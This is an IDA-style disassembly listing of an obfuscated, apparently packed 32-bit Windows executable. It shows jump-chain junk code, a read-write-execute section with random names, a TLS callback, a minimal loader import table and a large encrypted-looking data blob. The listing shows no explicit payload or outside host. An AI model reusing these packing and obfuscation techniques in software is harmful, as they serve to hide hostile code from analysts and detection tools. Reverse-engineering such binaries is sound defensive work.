; FUNCTION CHUNK AT 004415B4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044671C SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00452C05 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 004578FC SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00457E32 SIZE 00000005 BYTES

		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_457195
		jmp	loc_43B3A9
sub_45A4C9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45383B

loc_45A4DA:				; CODE XREF: sub_45383B-BA4Aj
		jnz	loc_44C456
		jmp	loc_43E60B
; END OF FUNCTION CHUNK	FOR sub_45383B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445A59

loc_45A4E5:				; CODE XREF: sub_445A59-5B56j
		pushf
		push	4C8D906Ch
		pop	eax
		rol	eax, 1Eh
		sub	eax, 7C310C5Ch
		xor	eax, 5C3DC08Ch
		call	sub_43E343
; END OF FUNCTION CHUNK	FOR sub_445A59
; START	OF FUNCTION CHUNK FOR sub_454FA5

loc_45A500:				; CODE XREF: sub_454FA5-2953j
		jmp	nullsub_417
; END OF FUNCTION CHUNK	FOR sub_454FA5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A919

loc_45A505:				; CODE XREF: sub_43A919+11j
		jmp	loc_44F3A4
; END OF FUNCTION CHUNK	FOR sub_43A919
; ---------------------------------------------------------------------------

loc_45A50A:				; CODE XREF: dviuq5id:00448AEAj
					; dviuq5id:00456E52j
		jnb	loc_43D552
; START	OF FUNCTION CHUNK FOR sub_44E491

loc_45A510:				; CODE XREF: sub_44E491:loc_4515E6j
		jmp	loc_440050
; END OF FUNCTION CHUNK	FOR sub_44E491
; ---------------------------------------------------------------------------
		sbb	ebx, edi
		popf
		not	eax
		jmp	loc_43D54C
; ---------------------------------------------------------------------------

loc_45A51F:				; CODE XREF: dviuq5id:loc_446384j
		add	esi, 3F449455h
		xchg	esi, [esp]
		jmp	nullsub_510
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E40D

loc_45A52D:				; CODE XREF: sub_43E40D+Fj
		push	9B3D64DEh
		pop	edi
		or	edi, 438415F1h
		add	edi, 248665B2h
		xchg	edi, [esp+0Ch+var_C]
		jmp	loc_43A457
; END OF FUNCTION CHUNK	FOR sub_43E40D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_45A547:				; CODE XREF: sub_440898:loc_44FAECj
		xchg	ebx, [esp+0]
		call	sub_455658
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		jz	loc_44BE04
		jmp	loc_43CB28
; END OF FUNCTION CHUNK	FOR sub_440898
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446314

loc_45A561:				; CODE XREF: sub_446314:loc_44BF23j
		push	ecx
		push	0F7B18D9Dh
		pop	ecx
		sub	ecx, 3B540F79h
		jmp	loc_44D3FB
; END OF FUNCTION CHUNK	FOR sub_446314
; ---------------------------------------------------------------------------
		push	8D81C882h
		jmp	sub_445F35
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45288A

loc_45A57D:				; CODE XREF: sub_45288A-9874j
		push	822D23Ch
		jmp	loc_44DB6B
; END OF FUNCTION CHUNK	FOR sub_45288A

; =============== S U B	R O U T	I N E =======================================



sub_45A587	proc near		; CODE XREF: sub_452470+19p
					; sub_448DB7+F8A1j
		xchg	esi, [esp+0]
		pop	esi
		cmp	byte ptr [eax],	0
		push	offset sub_4512D6
		jmp	loc_44A6DB
sub_45A587	endp

; ---------------------------------------------------------------------------
		jmp	ds:dword_41D180
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451B67

loc_45A59E:				; CODE XREF: sub_451B67+Aj
		jmp	loc_450DE7
; END OF FUNCTION CHUNK	FOR sub_451B67
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A4E3

loc_45A5A3:				; CODE XREF: sub_44A4E3-A6FEj
		jmp	loc_444F03
; END OF FUNCTION CHUNK	FOR sub_44A4E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E1C0

loc_45A5A8:				; CODE XREF: sub_44E1C0-140AAj
		jmp	loc_44844B
; END OF FUNCTION CHUNK	FOR sub_44E1C0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_303. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		jb	loc_4467BA
		mov	eax, [esp]
		push	ecx
		mov	ecx, edx
		xchg	ecx, [esp]
		jmp	loc_4493E3
; ---------------------------------------------------------------------------

loc_45A5C2:				; CODE XREF: dviuq5id:00453339j
		add	esi, 81A049DDh
		popf
		xchg	esi, [esp]
		jmp	loc_45562F
; ---------------------------------------------------------------------------
		mov	ds:dword_41D0C8, eax
		lea	eax, nullsub_495
		mov	byte ptr [eax],	0C3h
		jmp	loc_443B3B
; ---------------------------------------------------------------------------

loc_45A5E5:				; CODE XREF: dviuq5id:004562D2j
		mov	eax, [esp]
		push	edx
		call	sub_44952D
		jmp	loc_44AD38
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_188. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_45A5F4:				; CODE XREF: dviuq5id:00458F65j
		jmp	loc_43C2B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C2DA

loc_45A5F9:				; CODE XREF: sub_43C2DA+8CBj
		jmp	loc_444A2A
; END OF FUNCTION CHUNK	FOR sub_43C2DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448FC7

loc_45A5FE:				; CODE XREF: sub_448FC7:loc_448013j
					; dviuq5id:00448028j
		rol	ebx, 5
		add	ebx, 4B0272F3h
		mov	[ebx], eax
		pop	ebx
		lea	eax, loc_4571C7
		jmp	loc_43DE0E
; END OF FUNCTION CHUNK	FOR sub_448FC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443ECE

loc_45A615:				; CODE XREF: sub_443ECE+8FDCj
		ja	loc_444417
		sbb	edi, edx
		jmp	loc_449D5A
; END OF FUNCTION CHUNK	FOR sub_443ECE
; ---------------------------------------------------------------------------
		mov	ebx, [edi]
		jmp	sub_450905
; ---------------------------------------------------------------------------

loc_45A629:				; DATA XREF: sub_4525D0:loc_449FC8o
		jo	loc_4477ED
		cmp	dword ptr [ebp-4], 7
		jnz	loc_447D2A
		jmp	loc_4431EF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458527

loc_45A63E:				; CODE XREF: sub_458527+Ej
		rol	eax, 0Dh
		jmp	loc_4430D7
; END OF FUNCTION CHUNK	FOR sub_458527
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439C09

loc_45A646:				; CODE XREF: sub_439C09j
		mov	eax, ds:dword_447BD4
		or	eax, eax
		jnz	loc_43EB73
		jmp	loc_45712C
; END OF FUNCTION CHUNK	FOR sub_439C09
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440A7F

loc_45A659:				; CODE XREF: sub_440A7F+1796Bj
					; sub_440A7F+17977j
		add	edi, 0D0C5204Fh
		xchg	edi, [esp+0Ch+var_C]
		jmp	loc_44A750
; END OF FUNCTION CHUNK	FOR sub_440A7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458B72

loc_45A667:				; CODE XREF: sub_458B72-19FBEj
		add	edi, ebx

loc_45A669:				; CODE XREF: sub_458B72+13j
		or	ecx, 8917E6E0h
		add	ecx, 33A921FDh
		add	ecx, ebp
		jmp	loc_4512C7
; END OF FUNCTION CHUNK	FOR sub_458B72

; =============== S U B	R O U T	I N E =======================================



sub_45A67C	proc near		; CODE XREF: dviuq5id:0043BAD7j
					; dviuq5id:004462C8p

; FUNCTION CHUNK AT 0044F5B8 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 004518FF SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		call	sub_459194
		jmp	loc_4518FF
sub_45A67C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45288A

loc_45A68A:				; CODE XREF: sub_45288A:loc_4441A9j
		push	eax
		jmp	loc_443925
; END OF FUNCTION CHUNK	FOR sub_45288A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4427AE

loc_45A690:				; CODE XREF: sub_4427AE+5FDCj
		add	edi, 0F35C1ED5h
		xchg	edi, [esp+4+var_4]
		jmp	loc_44516B
; END OF FUNCTION CHUNK	FOR sub_4427AE
; ---------------------------------------------------------------------------
		mov	eax, 524E554Eh
		call	sub_453642
		mov	ds:dword_41D058, eax
		lea	eax, nullsub_457
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_457

; =============== S U B	R O U T	I N E =======================================



sub_45A6BC	proc near		; CODE XREF: sub_419A09+8Bp
					; dviuq5id:00458B08j
					; DATA XREF: ...
		push	ecx
		push	0A0A6C907h
		pop	ecx
		jmp	loc_4391B1
sub_45A6BC	endp

; ---------------------------------------------------------------------------
		dd 90A2C769h, 8A8D28FDh, 836CABAAh, 2CD4C26Ch, 24Ah dup(0)
dviuq5id	ends

; Section 7. (virtual address 0005B000)
; Virtual size			: 00032000 ( 204800.)
; Section size in file		: 00032000 ( 204800.)
; Offset to raw	data for section: 0005B000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
dy9cvewz	segment	para public 'CODE' use32
		assume cs:dy9cvewz
		;org 45B000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		db 0CCh
		db 0B0h, 5, 0
		align 8
		dd 0FFFFFFFFh, 5B03Ch, 5B0B4h, 5B108h, 0
		dd 0FFFFFFFFh, 5B0E8h, 5B104h, 5 dup(0)
		dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0
		dd 65470000h, 646F4D74h, 48656C75h, 6C646E61h, 4165h, 6F4C0000h
		dd 694C6461h, 72617262h, 4179h,	65470000h, 6F725074h, 64644163h
		dd 73736572h, 0
		dd 78450000h, 72507469h, 7365636Fh, 73h, 69560000h, 61757472h
		dd 6C6C416Ch, 636Fh, 69560000h,	61757472h, 6572466Ch, 65h
dword_45B0B4	dd 77E79F93h		; DATA XREF: sub_48B8AB+4r
					; sub_48CB6C+28r
dword_45B0B8	dd 77E805D8h		; DATA XREF: sub_48CB6C+37r
dword_45B0BC	dd 77E7A5FDh		; DATA XREF: dy9cvewz:00489417r
					; sub_48CB6C+8Er
dword_45B0C0	dd 77E75CB5h		; DATA XREF: sub_4881C3+4r
					; dy9cvewz:00488D46o ...
dword_45B0C4	dd 77E7980Ah, 77E79E34h, 5B04Ch, 5B060h, 5B070h, 5B084h
					; DATA XREF: sub_48CCD5+1Eo
		dd 5B094h, 5B0A4h, 0
		dd 72657375h, 642E3233h, 6C6Ch,	654D0000h, 67617373h, 786F4265h
		dd 41h
dword_45B104	dd 77D6ADD7h		; DATA XREF: sub_48CC25+64r
		dd 5B0F4h, 0
TlsDirectory	dd 0
TlsEnd_ptr	dd 0
TlsIndex_ptr	dd offset TlsIndex
TlsCallbacks_ptr dd offset TlsCallbacks
TlsSizeOfZeroFill dd 0
TlsCharacteristics dd 0
TlsIndex	dd 0			; DATA XREF: dy9cvewz:TlsIndex_ptro
TlsCallbacks	dd offset TlsCallback_0	; DATA XREF: dy9cvewz:TlsCallbacks_ptro
		dd 0

; =============== S U B	R O U T	I N E =======================================



sub_45B134	proc near		; CODE XREF: dy9cvewz:loc_48A5BAp
		push	esi
		push	ecx
		mov	esi, eax
		mov	ecx, edx
		sub	ecx, 4
		cld

loc_45B13E:				; CODE XREF: sub_45B134+21j
		lodsb
		shr	al, 1
		cmp	al, 74h
		jnz	short loc_45B154
		mov	eax, [esi]
		bswap	eax
		add	eax, ecx
		mov	[esi], eax
		add	esi, 4
		sub	ecx, 4

loc_45B154:				; CODE XREF: sub_45B134+10j
		dec	ecx
		jg	short loc_45B13E
		pop	ecx
		pop	esi
		retn
sub_45B134	endp

; ---------------------------------------------------------------------------
		db 8Bh,	0C0h
		dd offset sub_401000
		dd 0C000434Ah, 1, 717E0000h, 0D62820D5h, 421CFFDh, 3D050191h
		dd 398E8842h, 67077FD6h, 57782E8Ah, 0E57CC488h,	0C7806C39h
		dd 74129229h, 4CB0C93Ah, 0D8BF3E90h, 301D626Ah,	3ED489F8h
		dd 880D7A11h, 56124390h, 6717D20Fh, 70A0A965h, 4537C6AFh
		dd 4041846Dh, 61691FCEh, 0FC04DE6Fh, 83B289BAh,	8AEEBB75h
		dd 0C0FFF08h, 6168369Dh, 0EDC982h, 1AA28062h, 0E88EA34h
		dd 0ADD2BB6Ah, 0ABC30B0Fh, 0BCC9C5F3h, 2821A783h, 0E1E32217h
		dd 2B41F0C0h, 99674044h, 0A927E681h, 0F8D5C546h, 318B8980h
		dd 47192C7Dh, 0D1A3570Ah, 2442DCE3h, 1A3E10F2h,	0A5D8A87h
		dd 7B1A5810h, 0DA506F0h, 348B0928h, 8A0ACD35h, 9D5A284Ah
		dd 0FB0810CAh, 0E285AE5Eh, 38289CD1h, 0AF06FB37h, 418632D6h
		dd 9CA8AEE7h, 0E06657F0h, 77DF7E5Ch, 2F18C052h,	0BF012DCBh
		dd 6AD41343h, 12D4CAA1h, 0FD745481h, 5A3440Ch, 27023024h
		dd 0C1DF136Ch, 0B841E937h, 0E09EE30Dh, 0CE3B7165h, 0B3E5B819h
		dd 85437214h, 590AFF20h, 0AC674B1Ah, 0A8D4AC32h, 7E51F557h
		dd 0F88E0306h, 57EB48C8h, 75BA3543h, 1847C6B8h,	9228EF0Ah
		dd 495E017Ch, 25327CD7h, 800A0EFCh, 341152E0h, 0C5DA98DAh
		dd 486AA889h, 8F9820D9h, 0E57CD451h, 40E7EB7Fh,	8DCE185Ah
		dd 0A22937C6h, 53964210h, 695D7272h, 54D908B1h,	21EA08Dh
		dd 2B864DCFh, 708BA5F9h, 1B9C993Eh, 0C855010h, 629BCAD1h
		dd 5A24D086h
		db 7, 0D8h
word_45B2FA	dw 0B43Bh		; DATA XREF: sub_43F1BA+67CFo
		dd 50047D4Dh, 540B453Bh, 311C0D82h, 29EA25A3h, 414075Ah
		dd 0AA81871Ch, 3DB181EBh, 62E96414h, 0C0542D32h, 0A904050Bh
		dd 40B5F7C6h, 85E080E3h, 902C9215h, 3C1566Eh, 12C0486Eh
		dd 9467BE48h, 27375690h, 8CEA66DBh, 0CAF8E8A2h,	1A45518Dh
		dd 480AF3B5h, 0A201190Ch, 88A760EFh, 953C7652h,	8B12864h
		dd 0F5C06D5Ah, 80F4151Ah, 44A58AF6h, 3EFE00Eh, 96A86111h
		dd 0F3EA93AEh, 0F52654CDh, 0D883267Ah, 81459B48h, 166F074Ah
		dd 5F53414Eh, 0B7EC82B7h, 0A1F08EAEh, 51A7B320h, 51477162h
		dd 960F0A0Ch, 8C4DFA92h, 0A766825Bh, 56B0A7C5h,	0D1858814h
		dd 5A726180h, 62E7D9A2h, 788AD264h, 8A690D50h, 0FAE508C2h
		dd 510244A0h, 0D04AAA44h, 45463748h, 0F8302C02h, 1EA06677h
		dd 346BD087h, 0B866B1C0h, 0E2AE1D1Eh, 0CF81156Fh, 0C6CACED4h
		dd 0FD853BE3h, 404FD7FEh, 0BA631DD1h, 850220D8h, 2A8742D0h
		dd 88D5300Dh, 0B878E1Eh, 5A9CCFDEh, 452E1F8h, 0ACFCE297h
		dd 0EAFAD541h, 594CF4B5h, 0E06A87B5h, 0AB757A10h, 2F8A50FCh
		dd 4E96B390h, 5C8234Dh,	62180989h, 6F455966h, 18BE79C8h
		dd 591B85F4h, 0CDC77254h, 5D8B2E50h, 6FA6653Bh,	6DCFFCE2h
		dd 0F2FB070h, 0A0D0879Dh, 8F5FE24h, 7D2BB189h, 2B2BC966h
		dd 996A540Ch, 134D7F7Fh, 6DA57C63h, 4A4EF674h, 38650D55h
		dd 5895F857h, 0C8BBABFDh, 0B3489835h, 4D46C0F1h, 854052C6h
		dd 9592808Dh, 0C7AE5BBDh, 698958BEh, 0A0054F3h,	1878B2FCh
		dd 9026C500h, 2023C63Fh, 45281C31h, 78B1B8DFh, 6DD0478h
		dd 0BEC5B829h, 3EE153EBh, 0DC2A3E9Ah, 0C622D651h, 0AA778051h
		dd 7396A029h, 9EA30B76h, 0FD1BB62Fh, 0D457EB38h, 86D6C4D7h
		dd 0C51E2EF1h, 34DD66EFh, 3BA48C5Dh, 0D562AAABh, 273139B8h
		dd 50224B54h, 20386054h, 309CC6D4h, 0E5ADA68Ah,	18339BAFh
		dd 19E1838Eh, 0BE2A4825h, 51770969h, 11E7A3EBh,	0A38A0E64h
		dd 64491F91h, 0AF563221h, 3D735FE2h, 4BAB791Bh,	7B24A795h
		dd 6663210Eh, 0E571A16Bh, 34A2059Ch, 5A798B1Ah,	0E218515Fh
		dd 863604A2h, 34619FE8h, 0E56182B7h, 58142E84h,	1B24A8ECh
		dd 207C56ECh, 3012A4C5h, 4D8489DDh, 265C2ED0h, 0E6E1041Eh
		dd 32CB06A6h, 9BBC2118h, 56A23D1Ch, 564C2E66h, 7C83B31Bh
		dd 9F7FF0F0h, 0C4064A52h, 5224898Fh, 0A390E7EBh, 0F44A8420h
		dd 0B474E5D9h, 2456BFCBh, 7316118Fh, 6431488Ah,	960D6971h
		dd 0F88D53F5h, 0AC7CC1Ch, 606DD5C1h, 0A2501C52h, 0D1B42208h
		dd 2115183h, 8C2B8C1Fh,	0B907C305h, 0CCD07600h,	2AC82AC2h
		dd 838AE1F5h, 0F507E57h, 0C1C127C3h, 1CA380C4h,	147854B5h
		dd 0FC3B23BBh, 711FCD38h, 68425523h, 0EA3D7A71h, 0C3001104h
		dd 0AE1B1373h, 73CE481Ch, 752DA07Ah, 7922A23Ch,	81176268h
		dd 0C7A6A8F6h, 639CAD54h, 0A2285D98h, 70A1AD55h, 0AF0FA5A3h
		dd 99E48044h, 639094D8h, 1620C1DFh, 20C43C5Dh, 9FBFB229h
		dd 308CE167h, 1122F920h, 0C0125h, 9268FBDAh, 6FB7C3F1h
		dd 133E105Eh, 1B85EE44h, 8142DD5Bh, 0C467B8FFh,	4220A750h
		dd 0F8286E00h, 0A64C3AF8h, 15BBCC4Ch, 0BBD60BA7h, 7B75C131h
		dd 7A2209h, 0A0F5368Eh,	5B28E376h, 4B9DBB88h, 749043BAh
		dd 0AA79C059h, 6979602Fh, 14489748h, 9D48EC28h,	9244C3F0h
		dd 0F2C5084Ch, 511B1480h, 9D24427h, 3750AC63h, 0A894BA19h
		dd 0A012809Ch, 4033B0Ch, 9F03A092h, 8D883E69h, 0FEDFD705h
		dd 0A5E84763h, 1278443Ch, 5403376Dh, 0FB40180Ah, 66D57291h
		dd 7D28C341h, 0AB6FB0D3h, 2035206h, 1EABCCB4h, 0D1ABD5Ch
		dd 2860DAD6h, 72800C8Eh, 90C44046h, 2BE02A3Fh, 19489E25h
		dd 46FD5B1h, 5489283Bh,	0FA24F10Bh, 0C5E78C58h,	4AE7411Ch
		dd 4BF84C24h, 2ECC0863h, 8CF4896Bh, 62659C79h, 0FA9A0B48h
		dd 0B839AD33h, 1B111E4Ch, 82D6DAA7h, 8378C82h, 7F802A8Bh
		dd 6A8285B7h, 0B52A9A19h, 0EC720165h, 52A3C4E4h, 4C1DF946h
		dd 0BF963170h, 6FE1AA07h, 0F4BE3754h, 3B805999h, 40B77A65h
		dd 490424B5h, 514CF300h, 0D0270E02h, 0C6655853h, 0EB8861A8h
		dd 3049FB97h, 0A0EC7187h, 0CA426026h, 0D888122Ch, 5250092h
		dd 0AD67E4F3h, 0E5A30125h, 0A0A90E89h, 329BADBEh, 0D5A93B28h
		dd 307EF9A0h, 0A2708B5Eh, 36E1B91Dh, 0EA60072Ah, 1E34E831h
		dd 306A1AD4h, 0ACF30D7Fh, 635273B6h, 216769CBh,	27B5E5EEh
		dd 888D8CC7h, 0A2EF011Ah, 0C9ADD880h, 0F258542Dh, 4D5864Dh
		dd 3BA38FD4h, 54056A22h, 0A8716B0h, 35E532CFh, 0C2291316h
		dd 0DAC88AB0h, 4CBC4445h, 0B1818D40h, 9DA327A2h, 22165799h
		dd 4450CE56h, 3F0B0639h, 5A83AB5Ah, 0B1D2D32Dh,	0A83BE2DDh
		dd 8E20BD04h, 2865D32h,	58FC6E45h, 0EE10EB30h, 8F2C907Fh
		dd 9A454B42h, 0F5B81175h, 70224009h, 9888BE33h,	0D75AE22Bh
		dd 2A7864C3h, 8306BE56h, 0D638BAECh, 0C70AD8A5h, 0EB8DA0F8h
		dd 6EC7C1B3h, 0C3AA9A9Ah, 6050E340h, 3CED9141h,	4452D74Ah
		dd 0D6D6A18Ch, 5096617Eh, 7B55C303h, 6AFDFDB6h,	657BBB0Ch
		dd 0B46D6908h, 6ACDD710h, 0DDF8186Dh, 1AB7EBAh,	803BE069h
		dd 9821DF26h, 5B40026Ch, 9A72CFC5h, 5D088436h, 5209216Ch
		dd 52B26FAEh, 183F5D84h, 0ABA4BD7h, 0DFE1E472h,	84239971h
		dd 0A6576F7Ch, 0B5701012h, 7B419282h, 1FB5E916h, 1A641863h
		dd 14007FD7h, 642502E8h, 30242310h, 47D39A6Fh, 9803C421h
		dd 8B894364h, 1CA824CFh, 799EA2FFh, 0FA9B2A6Ah,	94E08AB7h
		dd 0E20CC252h, 0B7DF13E4h, 12CFB31h, 0B786EACh,	8ACAC4EDh
		dd 0FC85DAAAh, 67D8A7B7h, 159A4310h, 36EBE567h,	0DE3E8B16h
		dd 471CEC16h, 0F5BBD5A0h, 9C98A300h, 8A80A4DAh,	2FE9C513h
		dd 86ED4C75h, 63CA517Dh, 0D3A41248h, 0A62ED078h, 9C49EDAFh
		dd 0BD339A05h, 0C1C6857Eh, 0E4A8E6D6h, 4FC5B5CFh, 68A97DDEh
		dd 5934ABFFh, 16A0BCB4h, 0C1162440h, 7092D684h,	1CAAE262h
		dd 8D54940h, 24508563h,	0A30B0C68h, 0F630123Fh,	20B46C5Dh
		dd 511452EBh, 0E9E411Ah, 43522726h, 0E7434625h,	0D3038B2h
		dd 1B752AEBh, 0C03C32CDh, 29B59C36h, 114C9E39h,	552075C6h
		dd 0B9C944C4h, 4D6F92C2h, 0E18024B8h, 36AA91A5h, 0D9B42F6Eh
		dd 9D0CC812h, 9EB8798Ah, 0C218B07h, 850261FDh, 4B12E7C1h
		dd 173EED41h, 505CD0E7h, 8CC085E6h, 2C50231Bh, 80C71681h
		dd 38AD0463h, 0E4028D69h, 0B73AD011h, 7DFC2B46h, 96035D92h
		dd 2FE1F14Ch, 416D8A76h, 4EE683E3h, 0A9245045h,	0C5FA9F05h
		dd 0A843406Eh, 1E11F7F6h, 90AD9518h, 5CAA0C1Eh,	8DF5206Ch
		dd 6379A5D6h, 0E547152Ah, 14038246h, 345245EDh,	6ED8EB08h
		dd 8699A6B0h, 0A445BC62h, 0BD5B8986h, 42536392h, 916C0499h
		dd 5D523E62h, 8B197FCBh, 8A673562h, 28928A36h, 1D2A128Ch
		dd 3D0CC570h, 0D1E0B6Eh, 0A1A44521h, 28DB8DB8h,	91F0811Ah
		dd 42C38A4Eh, 0DB9C278Ah, 52A51630h, 68AAC443h,	0AE0ADFF7h
		dd 8704066Fh, 0CD476091h, 45121DABh, 5000A2C4h,	0A9AE089Ah
		dd 0D8B1E56Dh, 0D2670DF2h, 0A6A68521h, 0A9D4DB58h, 4954C0D0h
		dd 16CB38C0h, 581A34FDh, 8A770BB5h, 4C33A028h, 7EB85543h
		dd 0D3F53518h, 0F40A7E88h, 0C59515C0h, 6B882D52h, 0D0243426h
		dd 2AE231E2h, 72CD50D3h, 3D589523h, 0DDB8BA9Fh,	31216C97h
		dd 51144F54h, 1055D114h, 3A7CC74h, 83EF3E89h, 0F4CA304Bh
		dd 0CAB98A14h, 7397F8BDh
		dd 492977E5h, 289C8DDAh, 71A88D35h, 19EE8DD5h, 0A2A61590h
		dd 699DD81h, 87390CB5h,	1F146054h, 506C018Ah, 21504720h
		dd 61614616h, 2417015Ah, 308174A4h, 1E7C9840h, 0DE2E0E08h
		dd 3D971209h, 64033C36h, 0F896F498h, 5FC84F47h,	61E0526Ch
		dd 0E23709A0h, 2EB201BEh, 100B6121h, 5BA51673h,	2A719B63h
		dd 61425D64h, 1846BE98h, 342A18BEh, 344AEF90h, 0C82CC071h
		dd 8529A168h, 80ECB95h,	9E59B637h, 4110D54Dh, 0B8B37ED4h
		dd 2AB26AC2h, 0D24B64B3h, 8B38CC43h, 71A82A64h,	54E03091h
		dd 0CF39BEC0h, 0F26A3D23h, 0F4561AA6h, 596ACBCBh, 47A0C8B4h
		dd 0ADEB8106h, 0C1519E2Eh, 2E172CA2h, 8D83EB02h, 310D8175h
		dd 9AC6CDA2h, 3D710F8Ah, 7A4BF45h, 0F7DC333h, 3C7A50BBh
		dd 5583187Ah, 5EE0336Bh, 8A67121h, 692E5EDh, 0FC5F61A3h
		dd 212B3A0Dh, 0AD67A2Dh, 1010380Bh, 0D5035D41h,	2F0BDC11h
		dd 0AB075781h, 0E0275536h, 1014CFFFh, 0BB00A7DEh, 80E5CB2Bh
		dd 19A68DFh, 8865F748h,	0D1CD0433h, 709C2EB0h, 4D7AF6C9h
		dd 527D0879h, 24018290h, 6443054h, 2B1A6F8Bh, 9945CCA4h
		dd 0B382C23Bh, 3D3415CCh, 31FAEC8Dh, 110FDEBAh,	50A59C10h
		dd 9295C227h, 5235ED43h, 202F210Ah, 11020890h, 84896A24h
		dd 8BAC7C77h, 0A5AF0FFEh, 0C6E26D30h, 495F932Ch, 0DBD75923h
		dd 0DF7518AEh, 0B68A059Ch, 0C61B8623h, 8BB7C435h, 0F5E2308Ah
		dd 85136157h, 0C21AEE70h, 89984DCDh, 979F0BFCh,	0A02FACC4h
		dd 826686D0h, 5DAB7E32h, 4E07D3D7h, 0D5633060h,	50BE5A9Ch
		dd 41C58092h, 0C360E2F9h, 8129F087h, 5E035209h,	2A67F8DFh
		dd 3438F4C7h, 0C472DB7Bh, 13307B7h, 81AC3696h, 3F6E8095h
		dd 0DB258DC4h, 0C702020Eh, 0E064FB83h, 0A4E107B6h, 0AE90C019h
		dd 0D441D41Fh, 0A33D3078h, 40526480h, 0DC69A873h, 2DA0EDE8h
		dd 0F821B450h, 0E72D44CAh, 0C2368066h, 51195354h, 2DB34BB4h
		dd 12464A44h, 1A6E1518h, 7D52B550h, 0A88DD301h,	9B665451h
		dd 70580A0Ah, 2B0EC172h, 1F5B60E8h, 0C60A5AAh, 25FDA9ABh
		dd 0F401243Ah, 50015482h, 5A046329h, 7060CE2h, 434AB489h
		dd 591EB07Ah, 506CD3A3h, 175828A7h, 70B4153Ch, 82E78DA3h
		dd 0D97524C9h, 378C6CA1h, 402CD25Ah, 0F7DC28A4h, 0DFF03406h
		dd 36A1804Dh, 0BB0F0054h, 0CC5D50Ah, 5851E067h,	999C5818h
		dd 2AD9A281h, 0CA2336C5h, 1A3AC456h, 0B7AE4494h, 99400CEAh
		dd 33902C16h, 6AE54EAh,	286DC638h, 0EE428B0Bh, 1B8255B5h
		dd 3013F701h, 12719C71h, 0EB2BBA09h, 0D565BE50h, 8A23CA06h
		dd 49B80F5Eh, 0ED2F8A4h, 0AA8D5101h, 5EEB277Ch,	59A5D240h
		dd 250E4C6Dh, 95596501h, 7AE593E8h, 0EE0148Ch, 0AAFFE0BAh
		dd 0F452D1E8h, 8A82B318h, 0DA3B29EBh, 0A4418834h, 95F08C62h
		dd 4E35B7B6h, 0E05394FFh, 8616120Bh, 9F20F92Eh,	0CB650014h
		dd 13356B02h, 4B02540h,	906596BEh, 6DE0E6C2h, 65A74226h
		dd 10F28C39h, 0B5924900h, 4D44BD58h, 0E55EC9C9h, 0A6AD3F07h
		dd 0A8E97DA8h, 62453C05h, 36625824h, 804280A0h,	0A718FE16h
		dd 0DD88C6E7h, 5A887131h, 491C002h, 0E14D5D5h, 6D37BF25h
		dd 2F61A9BBh, 0BDA00DF9h, 8AA2C47Ch, 0BF11C1D5h, 284BEFC2h
		dd 255F4389h, 30C62F5Eh, 0F3C51276h, 30C8E71Dh,	0BC885034h
		dd 558290C0h, 180821ACh, 178EC331h, 47CD5E45h, 62F971A9h
		dd 0ECF6EC8Ch, 0E920F68Eh, 192882B3h, 0B0F5872Fh, 0DB0C62EBh
		dd 878EC094h, 0F19AD37Fh, 363811C0h, 280F50Dh, 0C2CB1E92h
		dd 0B67CC90Fh, 0E1D4D549h, 4849D7E5h, 0DDAF3652h, 756ED23Ch
		dd 0BC3E0555h, 0F570230h, 8C24B450h, 0E2298594h, 35E17928h
		dd 8A4791Eh, 409B6721h,	0CC411Ah, 0F0865E28h, 0ACE9BC44h
		dd 0B0A1E51Dh, 2981CEE6h, 72501C76h, 5E20E0B5h,	0FFFA0C7Eh
		dd 13834F4Fh, 524F6300h, 9E47810Ch, 0AC438C7h, 779445B6h
		dd 0CBCB317Ch, 47405021h, 61B12BD1h, 25E1B95Ah,	0C0FBBAC9h
		dd 27C3DB54h, 0B8472110h, 0FA0025B0h, 5D8C8CA2h, 700A195Eh
		dd 55F92251h, 8B9F6618h, 0AA0B7130h, 1F59CD68h,	0FFD68828h
		dd 0AA16F899h, 8898B1E6h, 0DAA05129h, 7F160548h, 0DA6F0F2Ah
		dd 0CA16C872h, 6E1151D4h, 7A21778Dh, 470A08DDh,	8ACA1778h
